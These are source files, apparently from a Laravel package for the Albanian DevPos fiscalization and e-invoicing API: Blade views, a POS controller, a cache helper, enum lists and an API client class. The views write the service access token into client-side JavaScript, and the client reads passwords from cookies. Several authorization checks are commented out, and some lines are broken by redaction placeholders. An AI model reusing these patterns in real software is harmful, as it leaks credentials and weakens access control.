Cache.put('idTypes', @php echo json_encode($idTypes) @endphp);
Cache.put('devpos_access_token', '{{Cache::get('devpos.access_token')}}' );
let choosedTCR = '{{Session::get('tcr_code')}}';
$(document).ready(function(){
$('#qrcode').qrcode({
render: "canvas",
width: 150,
height: 150,
text: '{{$item->verificationUrl}}',
typeNumber: -1, //Computing mode generally defaults to -1
correctLevel: 2, //Error Correction Level for 2D Code
background: "#ffffff ", //Background color
foreground: "#000000 "//QR Code Colors
});
});
</script>
@endsection<file_sep>@extends('layouts.keen.template')
@section('subheader-buttons')
<div class="k-subheader__toolbar">
<div class="k-subheader__wrapper">
<a href="javascript:void(0);" class="btn btn-label btn-label-brand btn-bold" title="{{ __('Export') }}" data-placement="top" onClick="DevPos.EPurchaseInvoice.export();">
<i class="fa fa-download"></i> <span class="d-none d-md-inline"> {{ __('Export') }}</span>
</a>
</div>
</div>
@endsection
@section('content')
<!-- begin:: Content -->
<div class="k-content k-grid__item k-grid__item--fluid" id="k_content">
<div class="row">
<!-- start:: Sidebar -->
<div class="col-md-12 float-left">
<!-- start:: Filter -->
<div class="w-100 float-left">
<div class="k-portlet k-portlet--mobile" id="quickSearchPortlet">
<div class="k-portlet__head k-portlet__head--lg">
<div class="k-portlet__head-label">
<h3 class="k-portlet__head-title">
{{ __('Filter') }}
</h3>
</div>
</div>
<div class="k-portlet__body">
<div class="row" id="filterForm" data-filter-itemType="invoices">
<form name="main_filter" class="col-12" onsubmit="event.preventDefault();DevPos.EPurchaseInvoice.load();">
<div class="form-group row mb-0">
<div class="col-md-4 col-xl-3">
<label class="">{{ __('Created at') }}</label>
<div class="input-daterange input-group" id="k_datepicker_5">
<input type="text" class="form-control " name="fromDate" autocomplete="off" placeholder="{{ __('Min date') }} ..." value="{{date('Y-m-d', strtotime('-1 month'))}}">
<div class="input-group-append">
<span class="input-group-text"><i class="la la-ellipsis-h"></i></span>
</div>
<input type="text" class="form-control" name="toDate" autocomplete="off" placeholder="{{ __('Max date') }} ..." value="{{date('Y-m-d')}}">
</div>
</div>
<div class="col-md-4 col-xl-3">
<label class="">{{ __('Value From') }}</label>
<div class="input-daterange input-group" id="k_datepicker_5">
<input type="text" class="form-control " name="valueFrom" autocomplete="off" placeholder="{{ __('Min value') }} ..." >
<div class="input-group-append">
<span class="input-group-text"><i class="la la-ellipsis-h"></i></span>
</div>
<input type="text" class="form-control" name="valueTo" autocomplete="off" placeholder="{{ __('Max value') }} ..." >
</div>
</div>
<div class="col-md-4 col-xl-2 k-input-icon k-input-icon--left mt-4">
<label class=""></label>
<button type="submit" class="btn btn-primary btn-sm mt-2" name="name" value=""><i class="fa fa-filter"></i> {{ __('Filter') }}</button>
</div>
</div>
</form>
</div>
<div class="row" id="quickSearch" data-filter-itemType="receptions">
</div>
</div>
</div>
</div>
<!-- end:: Filter -->
</div>
<!-- end:: Sidebar -->
<div class="col-md-10 float-left reportAndListing order-xs-2 order-md-1" id="reportAndListing" style="overflow-x: hidden;">
<div class="k-portlet k-portlet--mobile">
<div class="k-portlet__head k-portlet__head--lg">
<div class="k-portlet__head-label">
<h3 class="k-portlet__head-title">
{{ __('Purchase Invoices') }}
<small></small>
</h3>
</div>
</div>
<div class="k-portlet__body k-portlet__body--fit">
<!--begin: Datatable -->
<div class="k_datatable" id="api_events"></div>
<!--end: Datatable -->
</div>
</div>
</div>
<!-- start:: Sidebar -->
<div class="col-md-2 float-left order-xs-1 order-sm-1 order-md-2">
<!-- start:: Filter -->
<div class="w-100 float-left">
<div class="k-portlet k-portlet--mobile" id="quickSearchPortlet">
<div class="k-portlet__head k-portlet__head--lg">
<div class="k-portlet__head-label">
<h3 class="k-portlet__head-title">
{{ __('Filter Results') }}
</h3>
</div>
</div>
<div class="k-portlet__body">
<div class="row" id="filterForm" data-filter-itemType="tcrs">
<form name="filter" class="col-12" onsubmit="event.preventDefault();DevPos.EPurchaseInvoice.load();">
<div class="form-group">
<label class="">{{ __('Document Number') }}</label>
<input class="form-control" name="documentNumber" type="text" placeholder="Search by document number">
</div>
<div class="form-group">
<label class="">{{ __('Seller Name') }}</label>
<input class="form-control" name="sellerName" type="text" placeholder="Search by seller name">
</div>
<div class="form-group">
<label class="">{{ __('Seller Nuis') }}</label>
<input class="form-control" name="sellerNuis" type="text" placeholder="Search by seller nuis">
</div>
<div class="form-group">
<label class="">{{ __('EIC') }}</label>
<input class="form-control" name="eic" type="text" placeholder="Search by eic">
</div>
<div class="form-group">
<label class="">{{ __('Status') }}</label>
<select name="invoiceStatus" class="form-control">
<option value=""></option>
@foreach($eInvoiceStatuses as $status)
<option value="{{ $status }}">{{ $status }}</option>
@endforeach
</select>
</div>
<div class="form-group">
<label class="">{{ __('Total') }}</label>
<div class="input-daterange input-group" id="k_datepicker_5">
<input type="text" class="form-control " name="amount_min" placeholder="{{ __('Min amount') }} ...">
<div class="input-group-append">
<span class="input-group-text"><i class="la la-ellipsis-h"></i></span>
</div>
<input type="text" class="form-control" name="amount_max" placeholder="{{ __('Max amount') }} ...">
</div>
<span class="form-text text-muted">{{ __('Enter min and max date range') }}</span>
</div>
<div class="form-group">
<label class="">{{ __('Due Date') }}</label>
<div class="input-daterange input-group" id="k_datepicker_5">
<input type="text" class="form-control " name="dueDate_min" placeholder="{{ __('Min date') }} ...">
<div class="input-group-append">
<span class="input-group-text"><i class="la la-ellipsis-h"></i></span>
</div>
<input type="text" class="form-control" name="dueDate_max" placeholder="{{ __('Max date') }} ...">
</div>
<span class="form-text text-muted">{{ __('Enter min and max date range') }}</span>
</div>
<div class="k-input-icon k-input-icon--left">
<input type="submit" class="btn btn-primary btn-sm w-100" name="name" value="{{ __('Filter') }}">
</div>
</form>
</div>
<div class="row" id="quickSearch" data-filter-itemType="receptions">
</div>
</div>
</div>
</div>
<!-- end:: Filter -->
</div>
<!-- end:: Sidebar -->
</div>
</div>
<!-- end:: Content -->
@endsection
@section('js-local')
<script src="{{asset('ermirshehaj/devpos/js/devpos.js')}}"></script>
<script src="{{asset('ermirshehaj/devpos/js/templates.js')}}"></script>
<script>
//put all tcrs to cache
Cache.put('paymentMethods', @php echo json_encode($paymentMethods) @endphp);
Cache.put('feeTypes', @php echo json_encode($feeTypes) @endphp);
Cache.put('clientCardTypes', @php echo json_encode($clientCardTypes) @endphp);
Cache.put('typesOfSelfIssuing', @php echo json_encode($typesOfSelfIssuing) @endphp);
Cache.put('currencies', @php echo json_encode($currencies) @endphp);
Cache.put('countries', @php echo json_encode($countries) @endphp);
Cache.put('cities', @php echo json_encode($cities) @endphp);
Cache.put('banks', @php echo json_encode($banks) @endphp);
Cache.put('idTypes', @php echo json_encode($idTypes) @endphp);
Cache.put('devpos_access_token', '{{Cache::get('devpos.access_token')}}' );
let choosedTCR = '{{Session::get('tcr_code')}}';
$(document).ready(function(){
$('[name="fromDate"]').datepicker({
format: 'yyyy-mm-dd'
});
$('[name="toDate"]').datepicker({
format: 'yyyy-mm-dd'
});
$('[name="created_min"]').datepicker({
format: 'yyyy-mm-dd'
});
$('[name="created_max"]').datepicker({
format: 'yyyy-mm-dd'
});
$('[name="dueDate_min"]').datepicker({
format: 'yyyy-mm-dd'
});
$('[name="dueDate_max"]').datepicker({
format: 'yyyy-mm-dd'
});
DevPos.EPurchaseInvoice.load();
});
</script>
@endsection<file_sep><?php
namespace ErmirShehaj\DevPos\Http\Controllers;
use Illuminate\Routing\Controller;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Cache;
use ErmirShehaj\DevPos\Facades\DevPos;
use App\Http\Requests\PosRequest;
use \App\Models\Pos;
use DateTime;
class POSController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function index() {
//authorize first
//$this->authorize('menu', Pos::class);
//get pos from devpos
$items = DevPos::pos()->get();
return view('devpos::pos', [
'title' => __('Pos'),
'breadcrumb' => [
__('Pos') => route('devpos.pos.index')
],
'menu' => 'devpos.pos',
'items' => $items
]);
}
/**
* Show the form for creating a new resource.
*
* @return \Illuminate\Http\Response
*/
public function create()
{
//
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request) {
//authorize first
$this->authorize('create', Pos::class);
//first we validate the request
$validation = Validator::make($request->all(), Pos::rulesWith(
array_extend([
'code' => 'required',
'city' => 'required',
'address' => 'required',
], Pos::dbRules())
));
if ($validation->fails()) {
return [
'Status' => 'error',
'Errors' => $validation->errors()
];
}
//first we store it to devpos
// echo Cache::get('devpos.access_token');
// return [];
$parameters = array_filter($request->all());
//add registrationDate
$parameters['registrationDate'] = str_replace(' ', 'T', (new \DateTime())->format('Y-m-d H:i:s')); //date('d-m-Y'); //date('d-m-Y') //new DateTime();
$item = DevPos::createPOS($parameters);
//$item: {"id":42,"code":"POS 104","latitude":0,"longitude":0,"registrationDate":"0001-01-01T00:00:00","address":"Loni Ligori","city":"Tirane","businessUnitCode":"tr758ei942"}
//now we store it
$item2 = \App\Models\Pos::create($item);
return response()->json([
'Status' => 'OK',
'Data' => $item,
'Data2' => $item2
]);
}
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function show($id)
{
//first lets get all categories
$categories = Category::with('productsSalable.thumbnail')->get(['id','name']);
//first lets get all collections
//$categories = Collection::with('salable.thumbnail')->get(['id','name']);
//first lets get all categories
$products = Product::salable()->with('thumbnail')->select(['id','name', 'rate', 'sale_rate', 'manage_stock' , 'stock_status', 'stock_quantity', 'sell_without_stock', 'thumbnail_id'])->limit(12)->orderBy('id', 'desc')->get();
//get pos settings
$settings = Setting::where('category', 'pos')->get()->pluck('value', 'name')->toArray();
$view = 'admin.pos';
if ($settings['pos_template'] == 'Show products')
$view = 'admin.pos-products';
print_r($categories);
return view($view, [
'title' => __('POS'),
'breadcrumb' => [
__('POS') => route('devpos.pos.index')
],
'menu' => 'pos',
'categories' => $categories,
'products' => $products,
'settings' => $settings,
]);
}
/**
* Show the form for editing the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function edit($id)
{
//
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param int $id
* @return \Illuminate\Http\Response
*/
public function update(Request $request, $id) {
// //authorize
// $this->authorize('update', Pos::class);
// //validate
// $validation = Validator::make($request->all(), Pos::rulesWith(
// array_extend([
// 'code' => 'required',
// 'city' => 'required',
// 'address' => 'required',
// ], Pos::dbRules())
// ));
// if ($validation->fails()) {
// return [
// 'Status' => 'error',
// 'Errors' => $validation->errors()
// ];
// }
//update pos on devpos
$item = DevPos::pos()->update($id, $request->all());
//validate the request before we
//$updated = Pos::findOrFail($id)->update($request->all());
return response()->json([
'Status' => 'OK',
'DevPos' => ['updated' => $item],
'Data' => ['updated' => $updated]
]);
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function destroy($id)
{
//authorize action
$this->authorize('delete', Pos::class);
try {
//delete pos on devpos
$item = DevPos::deletePOS($id);
}
catch(\Illuminate\Http\Client\RequestException $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage()
];
}
$deleted = Pos::destroy($id);
return response()->json([
'Status' => 'OK',
'DevPos' => $item,
'Data' => $deleted,
'Msg' => $deleted == 0 ? 'Pos deleted successfully':'Pos didn\'t deleted successfully!'
]);
}
/**
* Activate action
*/
public function activate($id) {
//authorize action
$item = Pos::findOrFail($id);
$this->authorize('activate', $item);
//now activate it
$res = $item->update(['disabled' => 0]);
return response()->json([
'Status' => 'OK',
'Data' => $res
]);
}
public function deactivate($id) {
//authorize action
$item = Pos::findOrFail($id);
$this->authorize('deactivate', $item);
//now activate it
$res = $item->update(['disabled' => 1]);
return response()->json([
'Status' => 'OK',
'Data' => $res
]);
}
/**
* Doctor attach and detach methods
*/
public function attachDoctor(Request $request, $id) {
$validation = Validator::make($request->all(), [
'doctor_id' => 'required|exists:users,id',
'rate' => 'required|numeric'
]);
if($validation->fails()) {
return response()->json([
'Status' => 'error',
'Errors' => $validation->errors()
]);
}
//after validation we save it
Pos::find($id)->doctors()->attach($request->input('doctor_id'), $request->except('doctor_id'));
return response()->json([
'Status' => 'OK'
]);
}
public function detachDoctor($id, $doctor_id) {
// $validated = request()->validate([
// ]);
Pos::find($id)->doctors()->detach($doctor_id);
return response()->json([
'Status' => 'OK'
]);
}
/**
* Tax attach and detach methods
*/
public function attachTax(Request $request, $id) {
//authorize first
$this->authorize('attachTaxTemplate', Pos::class);
$validation = Validator::make($request->all(), [
'tax_template_id' => 'required|exists:tax_templates,id',
'valid_from' => 'nullable|date'
]);
if ($validation->fails()) {
return response()->json([
'Status' => 'error',
'Errors' => $validation->errors()
]);
}
//after validation we save it
Pos::find($id)->taxes()->attach($request->input('tax_template_id'), array_merge($request->only('valid_from'), [
'application_id' => Auth::user()->application_id,
'created_by' => Auth::id(),
'created_at' => date('Y-m-d H:i:s'),
]));
return response()->json([
'Status' => 'OK'
]);
}
public function detachTax($id, $tax_id) {
//authorize first
$this->authorize('detachTaxTemplate', Pos::class);
Pos::find($id)->taxes()->detach($tax_id);
return response()->json([
'Status' => 'OK'
]);
}
/**
*
* Note actions
*/
public function createNote(Request $request, $id) {
//athorize
$this->authorize('createNote', Pos::class);
$item = Pos::findOrFail($id)->notes()->create($request->input());
return response()->json([
'Status' => 'OK',
'Data' => $item
]);
}
public function deleteNote(Request $request, $employee_id, $note_id) {
//athorize
$this->authorize('deleteNote', Pos::class);
$item = Pos::findOrFail($employee_id)->notes()->whereId($note_id)->delete();
return response()->json([
'Status' => 'OK',
'Data' => $item
]);
}
}
<file_sep><?php
namespace ErmirShehaj\DevPos\Classes;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\Cache as CacheFacade;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use ErmirShehaj\DevPos\Facades\DevPos;
class Cache {
protected $cache = false;
protected $cache_key; //the key we will cache data.If empty => it will use the request url
protected $cache_prefix = 'devpos';
protected $cache_timeout = 100;
public function __construct() {
}
public function setCacheKey($key = true) {
$this->cache_key = $key;
return $this;
}
public function getCacheKey($absolute = false) {
if ($absolute)
return $this->getCachePrefix() .'.'. $this->cache_key;
return $this->cache_key;
}
public function setCachePrefix($key = true) {
$this->cache_prefix = $key;
return $this;
}
public function getCachePrefix() {
return $this->cache_prefix;
}
public function getCachePath($key = null) {
return $this->getCacheKey($absolute = true) . $key;
}
public function setCacheTimeout($time = true) {
$this->cache_timeout = $time;
return $this;
}
public function getCacheTimeout() {
return $this->cache_timeout;
}
/**
* Cache operations: put, get, forget
*/
public function put($key, $val = null, $timeout = null) {
echo 'we are putting on: '. $this->getCachePath($key);
CacheFacade::put($this->getCachePath($key), $val, $timeout ?? $this->getCacheTimeout());
return $this;
}
public function get($key, $val = null) {
$key = $this->getCachePath($key);
return CacheFacade::get($this->getCachePath($key));
}
public function forget($key) {
return CacheFacade::forget($this->getCachePath($key));
}
}<file_sep><?php
namespace ErmirShehaj\DevPos\Classes;
use Illuminate\Support\Str;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Validator;
use ErmirShehaj\DevPos\Classes\Model;
/**
* Cache:
* $tcr->cache()->list(); //list all tcr and cache them
* $tcr->cache()->onFailCached()->list();
*/
/**
* Transporter - is the class that will contain all methods for tcr
* Default we will cache list() methods results on 'tcr' key under 'devpos' prefix, but you can change it as:
* DevPos::supplier()->setCacheKey('key')->list();
*/
class Enum extends Model {
public function __construct() {
parent::__construct();
//we will cache everything from this class
//$this->setCache(true);
}
//list all tcr saved on devpos
public function get() {
return [];
}
public function update($id, $parameters = []) {
}
public function create($parameters = []) {
}
public function destroy($id) {
}
public function getWareHouseType() {
return $this->httpGet('/api/v3/Enum/GetWareHouseType');
}
public function getPaymentMethodTypes() {
return $this->httpGet('/assets/json/paymentMethodType.json');
}
public function getPaymentMethodTypesEinvoice() {
return $this->httpGet('/assets/json/paymentMethodTypeEinvoice.json');
}
public function getFeeTypes() {
return $this->httpGet('/assets/json/feeTypes.json');
}
public function getBanks() {
return $this->httpGet('/assets/json/banks.json');
}
public function getCenterType() {
return $this->httpGet('/api/v3/Enum/GetCenterType');
}
public function getCurrencies() {
return $this->httpGet('/assets/json/currencies.json');
}
public function getCities() {
return $this->httpGet('/assets/json/cities.json');
}
public function getCountries() {
return $this->httpGet('/assets/json/country.json');
}
public function getClientCardTypes() {
return $this->httpGet('/assets/json/clientCardTypes.json');
}
public function getTypesOfSelfIssuing() {
return $this->httpGet('/assets/json/typeOfSelfIssuing.json');
}
public function getIdTypes() {
return $this->httpGet('/assets/json/idTypes.json');
}
public function getUnits() {
return $this->httpGet('/assets/json/units.json');
}
public function getEInvoiceStatuses() {
return ['Dërguar', 'Refuzuar', 'Pranuar', 'Paguar', 'Paguar Pjesërisht'];
}
public function getEInvoiceProcesses() {
return [
'P1' => 'Faturimi i dërgesave të mallrave dhe shërbimeve kundrejt porosive të blerjes, bazuar në një kontratë',
'P2' => 'Faturimi i dërgesave të mallrave dhe shërbimeve bazuar në një kontratë',
'P3' => 'Faturimi i dorëzimit të porosisë së blerjes së rastësishme',
'P4' => 'Pagesa paraprake',
'P5' => 'Pagesa në vend',
'P6' => 'Pagesa para dorëzimit',
'P7' => 'Faturat me referenca në shënimin e dërgimit',
'P8' => 'Faturat me referenca në shënimin e dërgimit dhe shënimin e marrjes',
'P9' => 'Notë kredie ose fatura me shuma negative, të lëshuara për një sërë arsyesh, përfshirë kthimin e paketimit
bosh',
'P10' => 'Faturimi korrigjues (anulimi / korrigjimi i një fature)',
'P11' => 'Faturimi i pjesshëm dhe përfundimtar'
];
}
public function getEInvoiceDocumentTypes() {
return [
388 => 'Faturë tatimore',
211 => 'Aplikimi i ndërmjetëm për pagesë',
633 => 'Dokumentet e detyrimeve portuale',
395 => 'Fatura e dërgesës',
384 => 'Fatura e dërgesës',
295 => 'Fatura e ndryshimit të çmimit',
623 => 'Fatura e shpërndarësit',
82 => 'Fatura e shërbimeve të matura',
575 => 'Fatura e siguruesit',
390 => 'Faturë Delcredere',
935 => 'Faturë doganore',
393 => 'Faturë e faktorizuar',
385 => 'Faturë përmbledhëse',
326 => 'Faturë e pjesshme',
780 => 'Faturë mallrash',
386 => 'Faturë parapagimi',
325 => 'Faturë paraprake',
387 => 'Faturë pune',
394 => 'Faturë qiraje',
380 => 'Faturë tregtare',
389 => 'Faturë vetë-faturimi',
130 => 'Fleta e të dhënave të faturimit',
751 => 'Informacione fature për qëllime të kontabilitetit',
383 => 'Notë debiti',
527 => 'Notë debiti e vetë-faturuar',
80 => 'Notë debiti të lidhura me mallrat ose shërbimet',
84 => 'Notë debiti të lidhura me rregullimet financiare',
308 => 'Notë kredie Delcredere',
381 => 'Notë krediti',
396 => 'Notë krediti e faktorizuar',
261 => 'Notë krediti e vetë- faturuar',
532 => 'Notë krediti i përcjellësve',
81 => 'Notë krediti lidhur me mallra ose shërbime',
83 => 'Notë krediti lidhur me rregullime financiare',
420 => 'Notë krediti pagese për Leximin e Karakterit Optik (OCR)',
296 => 'Notë krediti për ndryshim çmimi',
262 => 'Notë krediti përmbledhëse - mallra dhe shërbime',
457 => 'Shkëmbim debiti',
458 => 'Shkëmbim krediti',
204 => 'Vlerësimi i pagesës',
202 => 'Vlerësimi i pagesës direkte',
203 => 'Vlerësimi i pagesës së provigjonit'
];
}
public function getSubsequentDeliveryType() {
return [
0 => 'Mungesë interneti',
1 => 'Arka është jashtë funksionit',
2 => 'Probleme me shërbimin e fiskalizimit',
3 => 'Probleme teknike në arkë',
];
}
public function getVehicleOwnershipTypes() {
return [
'0' => 'Owner',
'1' => 'Third Party'
];
}
public function getInvoiceTypes() {
return [
'0' => 'Cash',
'1' => 'Non Cash'
];
}
public function getTransactionTypes() {
return [
"0" => 'Shitje',
"1" => 'Ekzaminim',
"2" => 'Transferim',
"3" => 'Shitje derë më derë'
];
}
public function getWtnTypes() {
return [
'0' => 'Faturë Shoqëruese pa ndryshuar pronësinë',
'1' => 'Faturë shoqëruese me ndryshim pronësie'
];
}
public function getStartPoints() {
return $this->httpGet('/assets/json/startPoint.json');
}
public function getDestinationPoints() {
return $this->httpGet('/assets/json/destinationPoint.json');
}
}<file_sep><?php
namespace ErmirShehaj\DevPos;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Config;
use Illuminate\Support\Facades\Cookie;
use Illuminate\Http\Request;
use ErmirShehaj\DevPos\Classes\TCR;
use ErmirShehaj\DevPos\Classes\POS;
use ErmirShehaj\DevPos\Classes\Supplier;
class DevPos {
protected $tokenEndPoint;
protected $tenant;
protected $authorization;
protected $username;
protected $password;
protected $grant_type;
protected $token;
public function __construct() {
//set token endpoint
$this->setTokenEndPoint(config('devpos.tokenEndPoint'));
$this->setTenant(config('devpos.tenant'));
$this->setAuthorization(config('devpos.authorization'));
$this->setUsername(Cookie::get('username') ?? config('devpos.username'));
$this->setPassword(Cookie::get('password') ?? config('devpos.password'));
$this->setGrantType(config('devpos.grant_type'));
}
public function setEndPoint($url) {
$this->endPoint = $url;
return $this;
}
public function getEndPoint() {
return $this->endPoint;
}
public function setEndPointBase($url) {
$this->endPointBase = $url;
return $this;
}
public function getEndPointBase($relativePath = null) {
return $this->endPointBase . $relativePath;
}
public function setTokenEndPoint($url) {
$this->tokenEndPoint = $url;
return $this;
}
public function getTokenEndPoint() {
return $this->tokenEndPoint;
}
public function setUsername($username) {
$this->username = $username;
return $this;
}
public function getUsername() {
return $this->username;
}
public function setPassword($password) {
$this->password = $password;
return $this;
}
public function getPassword() {
return $this->password;
}
public function setGrantType($grant_type) {
$this->grant_type = $grant_type;
return $this;
}
public function getGrantType() {
return $this->grant_type;
}
public function setTenant($tenant) {
$this->tenant = $tenant;
return $this;
}
public function getTenant() {
return $this->tenant;
}
public function setAuthorization($authorization) {
$this->authorization = $authorization;
return $this;
}
public function getAuthorization() {
return $this->authorization;
}
public function setToken($token) {
$this->token = $token;
return $this;
}
public function getToken() {
return $this->token;
}
/**
* Authentications methods
*/
protected static function fetchAccessTokenFromSettings() {
/**
* To login we have to send credentials to take the token
* So we have to query db settings for devpos settings
*/
$settings = Setting::select('name', 'value')->where('category', 'devpos')->get()->toArray()->pluck('value', 'name');
//do some validations
$validation = Validator::make($settings, [
'dev_pos_tenant' => 'required',
'dev_pos_authorization' => 'required',
'dev_pos_username' => 'required',
'dev_pos_password' => '<PASSWORD>',
'dev_pos_grant_type' => 'required',
]);
if ($validation->fails()) {
return [
'Status' => 'error',
'Errors' => $validation->errors()
];
}
//create the object
return (new static)->setTenant($settings['dev_pos_tenant'])
->setAuthorization($settings['dev_pos_authorization'])
->setUsername($settings['dev_pos_username'])
->setPassword($settings['dev_pos_password'])
->setGrantType($settings['dev_pos_grant_type'])
->getToken();
// //continue
// return $this->getToken();
}
public function useApplicationDefaultCredentials() {
/**
* We will load credentials(username, password, tenant, ...) from database.settings
*/
$settings = Setting::select('name', 'value')->where('category', 'devpos')->get()->pluck('value', 'name')->toArray();
//do some validations
$validation = Validator::make($settings, [
'dev_pos_tenant' => 'required',
'dev_pos_authorization' => 'required',
'dev_pos_username' => '<PASSWORD>',
'dev_pos_password' => '<PASSWORD>',
'dev_pos_grant_type' => 'required',
]);
if ($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
// return [
// 'Status' => 'error',
// 'Errors' => $validation->errors()
// ];
}
//create the object
return $this->setTenant($settings['dev_pos_tenant'])
->setAuthorization($settings['dev_pos_authorization'])
->setUsername($settings['dev_pos_username'])
->setPassword($settings['<PASSWORD>'])
->setGrantType($settings['dev_pos_grant_type']);
}
//controller class has an authorize method with $ability and $arguments arguments, so we have to keep them in order to override it.
public function authorize() {
/**
* Authorize is the method when we try to get the token after sending credentials
* It will generate a response containing the token
*/
//if credentials details are not loaded, then we have to load them from DevPos::useApplicationDefaultCredentials();
if (empty($this->getTenant()) || empty($this->getAuthorization()) || empty($this->getUsername()) || empty($this->getPassword()) || empty($this->getGrantType())) {
//$res = $this->useApplicationDefaultCredentials();
}
$response = Http::asForm()->withHeaders([
'tenant' => $this->getTenant(),
'authorization' => $this->getAuthorization()
])->post($this->getTokenEndPoint(), [
'username' => $this->getUsername(),
'password' => $this-><PASSWORD>(),
'grant_type' => $this->getGrantType()
]
)->throw(function ($response, $e) {
return [
'Status' => 'error',
'Authorize' => 'Impossible to authorize!',
'Msg' => $e->getMessage(),
'Response' => $response
];
})->json();
// {
// "access_token":"<KEY>",
// "expires_in":28800,
// "token_type":"Bearer",
// "refresh_token":"<PASSWORD>8B1F3DD26F6DE3DD786F08D1A049182AF28D2E81C49DFDC7",
// "scope":"email fiskalizimi_api offline_access openid phone profile roles"
// }
//save the token to the object and to the cache
$this->setToken($response['access_token']);
Cache::put('devpos.access_token', $response['access_token'], (int)$response['expires_in']);
//session()->put('devpos.access_token', $response['access_token']);
//setcookie('devpos.access_token', $response['access_token'], time() + 48000 , "/");
return $response;
}
public function isConnectedToServer() {
$res = $this->get('/api/v3/Utilities/IsConnectedToServer');
return $res['isConnected'];
}
/**
* Here are the models we can run get/post/put/destroy
*/
public function invoice() {
return new \ErmirShehaj\DevPos\Classes\Invoice();
}
public function einvoice() {
return new \ErmirShehaj\DevPos\Classes\EInvoice();
}
public function epurchaseinvoice() {
return new \ErmirShehaj\DevPos\Classes\EPurchaseInvoice();
}
public function accompanyingInvoice() {
return new \ErmirShehaj\DevPos\Classes\AccompanyingInvoice();
}
public function product() {
return new \ErmirShehaj\DevPos\Classes\Product();
}
public function productCategory() {
return new \ErmirShehaj\DevPos\Classes\ProductCategory();
}
public function unit() {
return new \ErmirShehaj\DevPos\Classes\Unit();
}
public function productGroup() {
return new \ErmirShehaj\DevPos\Classes\ProductGroup();
}
public function customer() {
return new \ErmirShehaj\DevPos\Classes\Customer();
}
public function clientCard() {
return new \ErmirShehaj\DevPos\Classes\ClientCard();
}
public function bankPayment() {
return new \ErmirShehaj\DevPos\Classes\BankPayment();
}
public function user() {
return new \ErmirShehaj\DevPos\Classes\User();
}
public function role() {
return new \ErmirShehaj\DevPos\Classes\Role();
}
//create tcr object
public function tcr() {
return new \ErmirShehaj\DevPos\Classes\TCR();
}
public function tcrBalance() {
return new \ErmirShehaj\DevPos\Classes\TCRBalance();
}
//create pos object
public function pos() {
return new \ErmirShehaj\DevPos\Classes\POS();
}
//create operatore object
public function account() {
return new \ErmirShehaj\DevPos\Classes\Account();
}
public function branche() {
return new \ErmirShehaj\DevPos\Classes\Branche();
}
public function supplier() {
return new \ErmirShehaj\DevPos\Classes\Supplier();
}
public function supplierList() {
return new \ErmirShehaj\DevPos\Classes\SupplierList();
}
public function transporter() {
return new \ErmirShehaj\DevPos\Classes\Transporter();
}
public function carrier() {
return new \ErmirShehaj\DevPos\Classes\Carrier();
}
public function vehicle() {
return new \ErmirShehaj\DevPos\Classes\Vehicle();
}
public function warehouse() {
return new \ErmirShehaj\DevPos\Classes\WareHouse();
}
public function taxpayer() {
return new \ErmirShehaj\DevPos\Classes\TaxPayer();
}
public function currency() {
return new \ErmirShehaj\DevPos\Classes\Currency();
}
public function enum() {
return new \ErmirShehaj\DevPos\Classes\Enum();
}
//create operatore object
public function operatore() {
return new Operatore();
}
}<file_sep><?php
namespace ErmirShehaj\DevPos\Classes;
use Illuminate\Support\Str;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Validator;
use ErmirShehaj\DevPos\Classes\Model;
/**
* Cache:
* $tcr->cache()->get(); //list all tcr and cache them
* $tcr->cache()->onFailCached()->get();
*/
/**
* TaxPayer - is the class that will contain all methods for tcr
* Default we will cache get() methods results on 'tcr' key under 'devpos' prefix, but you can change it as:
* DevPos::taxpayer()->setCacheKey('key')->get();
*/
class TaxPayer extends Model {
public function __construct() {
parent::__construct();
}
//list all tcr saved on devpos
public function get() {
return $this->httpGet('/api/v3/TaxPayer');
}
public function create($params = []) {
return;
}
public function show($id) {
return $this->httpGet('/api/v3/TaxPayer');
}
//update pos on devpos
public function update($id, $parameters = []) {
//validate first
$validation = Validator::make($parameters, [
"idNumber" => "required|string|max:30",
"idType" => "nullable|numeric",
"businessName" => "nullable|string|max:50",
"address" => "required|string|max:150",
"country" => "required|string|max:60",
"countryCode" => "required|string|max:10",
"city" => "required|string|max:50",
"businessPermissionCode" => "nullable|string|max:30",
"businessUnitCode" => "required|string|max:30",
"issuerInVAT" => "required|boolean",
"certFileName" => "nullable|string|max:100",
"certFilePass" => "nullable|string|max:100",
"taxPayerType" => "nullable|numeric",
"registrationName" => "required|string|max:80",
"differentPricesPerPOS" => "nullable|boolean",
]);
if ($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
}
//cast
$parameters['issuerInVAT'] = boolval($parameters['issuerInVAT']);
$parameters['differentPricesPerPOS'] = boolval($parameters['differentPricesPerPOS']);
$parameters['idType'] = (int)($parameters['idType']);
$parameters['taxPayerType'] = (int)($parameters['taxPayerType']);
return $this->put('/api/v3/TaxPayer', $parameters);
}
//delete pos on devpos
public function destroy($id) {
return $this->delete('/api/v3/TaxPayer/'. $id);
}
}<file_sep><?php
namespace ErmirShehaj\DevPos\Classes;
use Illuminate\Support\Str;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Validator;
use ErmirShehaj\DevPos\Classes\Model;
/**
* Cache:
* $tcr->cache()->list(); //list all tcr and cache them
* $tcr->cache()->onFailCached()->list();
*/
/**
* ProductCategory - is the class that will contain all methods for tcr
